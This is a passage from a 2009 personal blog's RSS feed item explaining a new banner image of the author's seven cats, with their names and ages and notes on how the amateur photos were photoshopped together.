<li>the banner images are 1920 x 150, and the cats are spread out across almost the entire width in their image. That means that most people won&#8217;t see all seven of our cats. Sorry: all I can suggest is that you get a larger/higher pixel count monitor <img src='http://www.kgadams.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
<li>All of the photos in the banner are taken by either Irene or myself. Thus they are not professional- that&#8217;s what you get on an amateur blog. All of the pictures are &#8220;photoshopped&#8221; to varying degrees to adjust lighting, size and (in the case of the cat banner) to frankenstein several images into one</li>
<li>in order, from left to right, the cats in the image are: Nimbus, Elcee, Coco, Bilbo, Iris, Tuxedo, and Willow. Bilbo is the oldest at 17 years, and Coco is the youngest at about a year and a half I believe. Scale is not accurate: but if you pretend the cats are at varying distances from you, it sort of works&#8230;</li>
<li>I will eventually add a &#8220;computer stuff&#8221; banner, with photos of all of my various computers and computer-related gadgets. No promise on exactly when, though. Creating a photoshopped image like the cat banner takes me a couple of hours, and although it is sort of fun, it isn&#8217;t something I want to do regularly.</li>
</ul>
<p>Enjoy!</p>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2009/05/26/cat-banner/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

